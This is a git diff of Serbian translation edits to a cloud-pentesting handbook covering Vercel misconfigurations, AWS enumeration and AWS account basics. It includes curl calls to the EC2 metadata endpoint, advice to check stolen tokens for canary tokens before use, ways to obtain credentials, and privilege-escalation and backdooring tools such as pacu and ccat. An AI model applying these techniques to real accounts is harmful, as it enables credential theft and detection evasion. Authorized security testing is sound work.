izgradnje i zaštita izvora** -- **Pogrešna konfiguracija:** Onemogućavanje zaštite ili izlaganje `/logs` i `/src` putanja javnosti. +- **Pogrešna konfiguracija:** Onemogućavanje zaštite ili izlaganje `/logs` i `/src` putanja javno. - **Rizik:** Neovlašćen pristup logovima izgradnje i izvoru koda, što dovodi do curenja informacija i potencijalne eksploatacije ranjivosti. **Zaštita Git forkova** - **Pogrešna konfiguracija:** Omogućavanje neovlašćenih pull zahteva bez odgovarajućih pregleda. -- **Rizik:** Zlonamerni kod može biti spojen u kodnu bazu, uvodeći ranjivosti ili zadnja vrata. +- **Rizik:** Zlonamerni kod može biti spojen u kodnu bazu, uvodeći ranjivosti ili backdoor-ove. **Siguran pristup backend-u sa OIDC federacijom** - **Pogrešna konfiguracija:** Pogrešno postavljanje OIDC parametara ili korišćenje nesigurnih URL-ova izdavača. - **Rizik:** Neovlašćen pristup backend uslugama kroz neispravne tokove autentifikacije. -**Politika zadržavanja implementacija** +**Politika zadržavanja implementacije** -- **Pogrešna konfiguracija:** Postavljanje perioda zadržavanja prekratko (gubitak istorije implementacija) ili predugo (nepotrebno zadržavanje podataka). +- **Pogrešna konfiguracija:** Postavljanje perioda zadržavanja prekratko (gubitak istorije implementacije) ili predugo (nepotrebno zadržavanje podataka). - **Rizik:** Nemogućnost vraćanja na prethodne verzije kada je to potrebno ili povećan rizik od izlaganja podataka iz starih implementacija. **Nedavno obrisane implementacije** -- **Pogrešna konfiguracija:** Nepratiti obrisane implementacije ili se oslanjati isključivo na automatska brisanja. -- **Rizik:** Gubitak kritične istorije implementacija, otežavajući revizije i vraćanja. +- **Pogrešna konfiguracija:** Nepratiti obrisane implementacije ili oslanjanje isključivo na automatska brisanja. +- **Rizik:** Gubitak kritične istorije implementacije, otežavajući revizije i vraćanja. --- @@ -240,8 +240,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do **Lista direktorijuma** -- **Pogrešna konfiguracija:** Omogućavanje liste direktorijuma omogućava korisnicima da vide sadržaj direktorijuma bez datoteke indeksa. -- **Rizik:** Izlaganje osetljivih datoteka, strukture aplikacije i potencijalnih ulaznih tačaka za napade. +- **Pogrešna konfiguracija:** Omogućavanje liste direktorijuma omogućava korisnicima da vide sadržaj direktorijuma bez indeksnog fajla. +- **Rizik:** Izlaganje osetljivih fajlova, strukture aplikacije i potencijalnih ulaznih tačaka za napade. --- @@ -253,13 +253,13 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do **Omogući izazov napada** -- **Pogrešna konfiguracija:** Omogućavanje ovoga poboljšava odbranu web aplikacije protiv DoS, ali na račun upotrebljivosti +- **Pogrešna konfiguracija:** Omogućavanje ovoga poboljšava odbranu web aplikacije protiv DoS, ali na račun upotrebljivosti. - **Rizik:** Potencijalni problemi sa korisničkim iskustvom. ### Prilagođena pravila i blokiranje IP-a -- **Pogrešna konfiguracija:** Omogućava otključavanje/blokiranje saobraćaja -- **Rizik:** Potencijalni DoS omogućavajući zlonameran saobraćaj ili blokirajući benigni saobraćaj +- **Pogrešna konfiguracija:** Omogućava otključavanje/blokiranje saobraćaja. +- **Rizik:** Potencijalni DoS omogućavajući zlonamerni saobraćaj ili blokirajući benigni saobraćaj. --- @@ -267,13 +267,13 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do ### Izvor -- **Pogrešna konfiguracija:** Omogućava pristup za čitanje kompletnog izvornog koda aplikacije -- **Rizik:** Potencijalno izlaganje osetljivih informacija +- **Pogrešna konfiguracija:** Omogućava pristup za čitanje kompletnog izvornog koda aplikacije. +- **Rizik:** Potencijalno izlaganje osetljivih informacija. ### Zaštita od pomeranja - **Pogrešna konfiguracija:** Ova zaštita osigurava da klijentska i serverska aplikacija uvek koriste istu verziju kako ne bi došlo do desinkronizacije kada klijent koristi drugačiju verziju od servera i stoga se ne razumeju. -- **Rizik:** Onemogućavanje ovoga (ako je omogućeno) moglo bi izazvati DoS probleme u novim implementacijama u budućnosti +- **Rizik:** Onemogućavanje ovoga (ako je omogućeno) moglo bi izazvati DoS probleme u novim implementacijama u budućnosti. --- @@ -283,12 +283,12 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: -- **Prenos** -- **Pogrešna konfiguracija:** Omogućava prenos svih projekata na drugi tim -- **Rizik:** Napadač bi mogao ukrasti projekte -- **Brisanje projekta** -- **Pogrešna konfiguracija:** Omogućava brisanje tima sa svim projektima -- **Rizik:** Brisanje projekata +- **Transfer** +- **Pogrešna konfiguracija:** Omogućava prenos svih projekata na drugi tim. +- **Rizik:** Napadač bi mogao ukrasti projekte. +- **Obriši projekat** +- **Pogrešna konfiguracija:** Omogućava brisanje tima sa svim projektima. +- **Rizik:** Obriši projekte. --- @@ -297,8 +297,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: - **Limit troškova Speed Insights** -- **Pogrešna konfiguracija:** Napadač bi mogao povećati ovaj broj -- **Rizik:** Povećani troškovi +- **Pogrešna konfiguracija:** Napadač bi mogao povećati ovaj broj. +- **Rizik:** Povećani troškovi. --- @@ -307,11 +307,11 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: - **Dodaj članove** -- **Pogrešna konfiguracija:** Napadač bi mogao održati postojanost pozivajući nalog koji kontroliše -- **Rizik:** Postojanost napadača +- **Pogrešna konfiguracija:** Napadač bi mogao održati postojanost pozivajući nalog koji kontroliše. +- **Rizik:** Postojanost napadača. - **Uloge** -- **Pogrešna konfiguracija:** Dodeljivanje previše dozvola ljudima kojima to nije potrebno povećava rizik od konfiguracije Vercela. Proverite sve moguće uloge na [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) -- **Rizik**: Povećava izloženost Vercel tima +- **Pogrešna konfiguracija:** Dodeljivanje previše ovlašćenja ljudima kojima to nije potrebno povećava rizik od konfiguracije Vercela. Proverite sve moguće uloge na [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles). +- **Rizik:** Povećava izloženost Vercel Tima. --- @@ -321,11 +321,11 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do **Potencijalne pogrešne konfiguracije:** -- **Prekomerno ovlašćivanje članova:** Dodeljivanje uloga sa više dozvola nego što je potrebno, što dovodi do neovlašćenog pristupa ili radnji. +- **Prekomerno ovlašćivanje članova:** Dodeljivanje uloga sa više ovlašćenja nego što je potrebno, što dovodi do neovlašćenog pristupa ili radnji. - **Pogrešne dodela uloga:** Pogrešno dodeljivanje uloga koje se ne poklapaju sa odgovornostima članova tima, uzrokujući eskalaciju privilegija. - **Nedostatak segregacije projekata:** Neodvajanje osetljivih projekata, omogućavajući širi pristup nego što je planirano. -- **Nedovoljno upravljanje grupama:** Nepravilno pregledanje ili ažuriranje grupa pristupa, što rezultira zastarelim ili neprimerenim dozvolama pristupa. -- **Nepodudarne definicije uloga:** Korišćenje nepodudarnih ili nejasnih definicija uloga kroz različite grupe pristupa, što dovodi do konfuzije i bezbednosnih praznina. +- **Nedovoljno upravljanje grupama:** Nepravilno pregledanje ili ažuriranje Grupa pristupa, što rezultira zastarelim ili neprimerenim pristupnim dozvolama. +- **Nepodudarne definicije uloga:** Korišćenje nepodudarnih ili nejasnih definicija uloga kroz različite Grupe pristupa, što dovodi do konfuzije i bezbednosnih praznina. --- @@ -334,8 +334,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: - **Log Drains ka trećim stranama:** -- **Pogrešna konfiguracija:** Napadač bi mogao konfigurisati Log Drain da ukrade logove -- **Rizik:** Delimična postojanost +- **Pogrešna konfiguracija:** Napadač bi mogao konfigurisati Log Drain da ukrade logove. +- **Rizik:** Delimična postojanost. --- @@ -344,22 +344,22 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do #### Konfiguracije bezbednosti: - **Domen e-pošte tima:** Kada je konfigurisano, ovo podešavanje automatski poziva Vercel lične naloge sa adresama e-pošte koje se završavaju na specificiranom domenu (npr. `mydomain.com`) da se pridruže vašem timu prilikom registracije i na kontrolnoj tabli. -- **Pogrešna konfiguracija:** +- **Pogrešna konfiguracija:** - Određivanje pogrešnog domena e-pošte ili pogrešno napisani domen u podešavanju domena e-pošte tima. - Korišćenje uobičajenog domena e-pošte (npr. `gmail.com`, `hotmail.com`) umesto domena specifičnog za kompaniju. - **Rizici:** -- **Neovlašćen pristup:** Korisnici sa adresama e-pošte iz neplaniranih domena mogu primiti pozivnice da se pridruže vašem timu. +- **Neovlašćen pristup:** Korisnici sa adresama e-pošte iz nepredviđenih domena mogu primiti pozivnice da se pridruže vašem timu. - **Izlaganje podataka:** Potencijalno izlaganje osetljivih informacija o projektu neovlašćenim osobama. - **Zaštićeni Git opsezi:** Omogućava vam da dodate do 5 Git opsega vašem timu kako biste sprečili druge Vercel timove da implementiraju repozitorijume iz zaštićenog opsega. Više timova može odrediti isti opseg, omogućavajući pristup obema timovima. - **Pogrešna konfiguracija:** Ne dodavanje kritičnih Git opsega na zaštićenu listu. - **Rizici:** -- **Neovlašćene implementacije:** Drugi timovi mogu implementirati repozitorijume iz Git opsega vaše organizacije bez autorizacije. -- **Izlaganje intelektualne svojine:** Proprietarni kod bi mogao biti implementiran i dostupan izvan vašeg tima. +- **Neovlašćene implementacije:** Drugi timovi mogu implementirati repozitorijume iz Git opsega vaše organizacije bez odobrenja. +- **Izlaganje intelektualne svojine:** Proprietarni kod može biti implementiran i dostupan izvan vašeg tima. - **Politike varijabli okruženja:** Sprovodi politike za kreiranje i uređivanje varijabli okruženja tima. Konkretno, možete sprovoditi da se sve varijable okruženja kreiraju kao **Osetljive varijable okruženja**, koje može dekriptovati samo Vercelov sistem implementacije. -- **Pogrešna konfiguracija:** Održavanje onemogućavanja osetljivih varijabli okruženja. +- **Pogrešna konfiguracija:** Održavanje onemogućavanja sprovodjenja osetljivih varijabli okruženja. - **Rizici:** - **Izlaganje tajni:** Varijable okruženja mogu biti pregledane ili uređene od strane neovlašćenih članova tima. -- **Curanje podataka:** Osetljive informacije kao što su API ključevi i kredencijali mogli bi procureti. +- **Curanje podataka:** Osetljive informacije kao što su API ključevi i kredencijali mogli bi procuriti. - **Revizijski log:** Pruža izvoz aktivnosti tima za poslednjih do 90 dana. Revizijski logovi pomažu u praćenju i praćenju radnji koje su izvršili članovi tima. - **Pogrešna konfiguracija:**\ Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima. @@ -367,14 +367,14 @@ Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima. - **Povrede privatnosti:** Izlaganje osetljivih korisničkih aktivnosti i podataka. - **Manipulacija logovima:** Zlonamerni akteri mogli bi izmeniti ili obrisati logove kako bi prikrili svoje tragove. - **SAML jedinstveno prijavljivanje:** Omogućava prilagođavanje SAML autentifikacije i sinhronizacije direktorijuma za vaš tim, omogućavajući integraciju sa provajderom identiteta (IdP) za centralizovanu autentifikaciju i upravljanje korisnicima. -- **Pogrešna konfiguracija:** Napadač bi mogao postaviti zadnja vrata u tim postavljanjem SAML parametara kao što su ID entiteta, SSO URL ili otisci sertifikata. -- **Rizik:** Održavanje postojanosti +- **Pogrešna konfiguracija:** Napadač bi mogao postaviti backdoor u Tim podešavanjem SAML parametara kao što su Entity ID, SSO URL ili otisci sertifikata. +- **Rizik:** Održavanje postojanosti. - **Vidljivost IP adresa:** Kontroliše da li se IP adrese, koje se mogu smatrati ličnim informacijama prema određenim zakonima o zaštiti podataka, prikazuju u upitima za praćenje i Log Drains. - **Pogrešna konfiguracija:** Ostaviti vidljivost IP adresa omogućenom bez potrebe. - **Rizici:** -- **Povrede privatnosti:** Neusaglašenost sa propisima o zaštiti podataka kao što je GDPR. +- **Povrede privatnosti:** Neusklađenost sa zakonima o zaštiti podataka kao što je GDPR. - **Pravne posledice:** Potencijalne kazne i sankcije za nepravilno rukovanje ličnim podacima. -- **Blokiranje IP adresa:** Omogućava konfiguraciju IP adresa i CIDR opsega koje Vercel treba da blokira zahteve. Blokirani zahtevi ne doprinose vašem fakturisanju. +- **Blokiranje IP adresa:** Omogućava konfiguraciju IP adresa i CIDR opsega koje Vercel treba da blokira. Blokirani zahtevi ne doprinose vašem fakturisanju. - **Pogrešna konfiguracija:** Može biti zloupotrebljeno od strane napadača da omogući zlonamerni saobraćaj ili blokira legitimni saobraćaj. - **Rizici:** - **Odbijanje usluge legitimnim korisnicima:** Blokiranje pristupa validnim korisnicima ili partnerima. @@ -405,13 +405,13 @@ Dodeljivanje pristupa revizijskim logovima neovlašćenim članovima tima. - **Rizik:** IP spoofing, ranjivosti praćenja i potencijalno stavljanje na crnu listu ako su IP adrese povezane sa zlonamernim aktivnostima. 6. **Nepravilno uključivanje kontejnera za izgradnju** - **Pogrešna konfiguracija:** Dodavanje kontejnera za izgradnju u Secure Compute mrežu kada pristup backend-u nije potreban tokom izgradnje. -- **Rizik:** Povećana površina napada, produženi vremenski okviri za snabdevanje i nepotrebna potrošnja mrežnih resursa. +- **Rizik:** Proširena površina napada, povećani kašnjenja u snabdevanju i nepotrebna potrošnja mrežnih resursa. 7. **Neuspeh u sigurnom rukovanju tajnama zaobilaženja** - **Pogrešna konfiguracija:** Izlaganje ili nepravilno rukovanje tajnama korišćenim za zaobilaženje zaštite implementacije. - **Rizik:** Neovlašćen pristup zaštićenim implementacijama, omogućavajući napadačima da manipulišu ili implementiraju zlonamerni kod. 8. **Ignorisanje konfiguracija za prebacivanje regiona** - **Pogrešna konfiguracija:** Neuspostavljanje pasivnih regiona za prebacivanje ili pogrešno konfigurisanje postavki prebacivanja. -- **Rizik:** Downtime usluge tokom prekida u primarnom regionu, što dovodi do smanjene dostupnosti i potencijalne neusklađenosti podataka. +- **Rizik:** Downtime usluge tokom prekida primarnog regiona, što dovodi do smanjene dostupnosti i potencijalne neusklađenosti podataka. 9. **Prekoračenje limita veza VPC peeringa** - **Pogrešna konfiguracija:** Pokušaj uspostavljanja više VPC peering veza nego što je dozvoljeno (npr. prekoračenje 50 veza). - **Rizik:** Nemogućnost sigurne povezanosti potrebnih backend usluga, uzrokujući neuspehe implementacije i operativne prekide. diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index 16518b4d9..a9a38e2d4 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,7 +4,7 @@ ## Osnovne informacije -**Pre nego što započnete pentesting** **AWS** okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako AWS funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite. +**Pre nego što započnete pentesting** AWS okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako AWS funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite. Koncepti kao što su hijerarhija organizacije, IAM i drugi osnovni koncepti su objašnjeni u: @@ -31,7 +31,7 @@ Alati za simulaciju napada: Da biste auditovali AWS okruženje, veoma je važno znati: koje **usluge se koriste**, šta je **izloženo**, ko ima **pristup** čemu, i kako su interne AWS usluge povezane sa **spoljnim uslugama**. -Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Ovde su neke ideje kako to učiniti: +Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Ovde imate nekoliko ideja kako to učiniti: - **Leakovi** na github-u (ili sličnim mestima) - OSINT - **Društveno** inženjerstvo @@ -58,7 +58,7 @@ aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Nakon što ste uspeli da dobijete akreditive, treba da znate **kome ti akrediti pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju: +> Nakon što ste uspeli da dobijete akreditive, treba da znate **čijim akreditivima pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju: ## Osnovna enumeracija @@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` > [!CAUTION] -> Imajte na umu da kompanije mogu koristiti **canary tokens** da identifikuju kada se **tokeni kradu i koriste**. Preporučuje se da proverite da li je token canary token ili ne pre nego što ga upotrebite.\ +> Imajte na umu da kompanije mogu koristiti **canary tokens** da identifikuju kada se **tokeni kradu i koriste**. Preporučuje se da proverite da li je token canary token pre nego što ga upotrebite.\ > Za više informacija [**proverite ovu stranicu**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -123,7 +123,7 @@ aws-services/ Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](./#automated-tools). -Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima**, možda ćete moći da ih iskoristite: +Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima,** možda ćete moći da ih iskoristite: {{#ref}} aws-unauthenticated-enum-access/ @@ -142,7 +142,7 @@ aws-privilege-escalation/ Dok enumerišete AWS usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge čekanja, snimci ili kante...).\ Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima, jer bi vam mogle pružiti **dalji pristup AWS nalogu**. -U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** na: +U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** u: {{#ref}} https://book.hacktricks.xyz/ @@ -167,7 +167,7 @@ Dakle, da biste pristupili kao administrator detetovom nalogu, potrebno je: ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na AWS sigurnost, pisan u Ruby-ju. +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na sigurnost AWS-a, napisan u Ruby-u. ```bash # Install gem install aws_recon @@ -179,7 +179,7 @@ AWS_PROFILE= aws_recon \ --verbose ``` - [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist je **alat za više oblaka za dobijanje resursa** (domaćinska imena, IP adrese) od provajdera oblaka. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja okruženja Amazon Web Services (AWS). Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja Amazon Web Services (AWS) okruženja. Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme. ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -235,12 +235,12 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p ``` - [**starbase**](https://github.com/JupiterOne/starbase): Starbase prikuplja resurse i odnose iz usluga i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom od strane Neo4j baze podataka. - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Koristi python2) Ovo je alat koji pokušava da **otkrije sve** [**AWS resurse**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) kreirane u nalogu. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **preuzimanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **dobijanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom. ### Privesc & Exploiting - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Otkrijte najprivilegovanije korisnike u skeniranoj AWS sredini, uključujući AWS Shadow Admins. Koristi powershell. Možete pronaći **definiciju privilegovanih politika** u funkciji **`Check-PrivilegedPolicy`** u [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **pogrešne konfiguracije** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika. +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **pogrešne konfiguracije** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika. - Imajte na umu da pacu **samo proverava vaše vlastite privesc puteve** (ne na nivou celog naloga). ```bash # Install @@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja principa minimalnih privilegija i generiše izveštaj u HTML formatu sa prioritetom rizika.\ -Prikazaće vam potencijalno **previše privilegovanog** korisnika, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge vrste zanimljivih dozvola, preporučuje se korišćenje). +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja minimalnih privilegija i generiše HTML izveštaj prioritizovan prema riziku.\ +Prikazaće vam potencijalno **previše privilegovan** korisnik, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge zanimljive dozvole, preporučuje se korišćenje). ```bash # Install pip install cloudsplaining @@ -290,13 +290,13 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u otimanju poddomena** kao rezultat odvojenih konfiguracija Route53 i CloudFront. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Uvedi backdoor -> Pomerite backdoor-ovanu sliku +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u preuzimanju poddomena** kao rezultat odvojenih konfiguracija Route53 i CloudFront. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Postavi backdoor -> Pomerite backdoor-ovanu sliku - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag je alat koji **pretražuje** javne Elastic Block Storage (**EBS**) snimke za tajne koje su možda slučajno ostavljene. -### Audit +### Revizija -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** naloga, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins). +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** nalozima, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js @@ -314,7 +314,7 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi. +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju, kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi. ```bash cloudfox aws --profile [profile-name] all-checks ``` @@ -335,8 +335,8 @@ scout aws -p dev ### Kontinuirana Revizija - [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian je motor pravila za upravljanje javnim cloud računima i resursima. Omogućava korisnicima da **definišu politike za omogućavanje dobro upravljane cloud infrastrukture**, koja je i sigurna i optimizovana za troškove. Konsoliduje mnoge ad-hoc skripte koje organizacije imaju u lagan i fleksibilan alat, sa jedinstvenim metrikama i izveštavanjem. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi otkriveni od strane PacBot-a se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za otkrivanje incidenata i odgovor na njih. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi koje otkrije PacBot se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za otkrivanje incidenata i odgovor. ## DEBUG: Zabeleži AWS cli zahteve ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 03d199541..c9b96ebad 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,7 +8,7 @@ ### Računi -U AWS-u postoji **root račun**, koji je **glavni kontejner za sve račune** vaše **organizacije**. Međutim, ne morate koristiti taj račun za implementaciju resursa, možete kreirati **druge račune kako biste odvojili različite AWS** infrastrukture između njih. +U AWS postoji **root račun**, koji je **glavni kontejner za sve račune** vaše **organizacije**. Međutim, ne morate koristiti taj račun za implementaciju resursa, možete kreirati **druge račune kako biste odvojili različite AWS** infrastrukture između njih. To je veoma zanimljivo sa **bezbednosnog** stanovišta, jer **jedan račun neće moći da pristupi resursima drugog računa** (osim ako su mostovi posebno kreirani), tako da na ovaj način možete postaviti granice između implementacija. @@ -27,33 +27,33 @@ Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a Račun za upravljanje ima **odgovornosti računa za plaćanje** i odgovoran je za plaćanje svih troškova koje generišu članovi računi. Ne možete promeniti račun za upravljanje organizacijom. - **Članovi računi** čine sve ostale račune u organizaciji. Račun može biti član samo jedne organizacije u isto vreme. Možete prikačiti politiku na račun kako biste primenili kontrole samo na taj jedan račun. -- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup tome). +- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` ### **Organizacione jedinice** -Računi se mogu grupisati u **organizacione jedinice 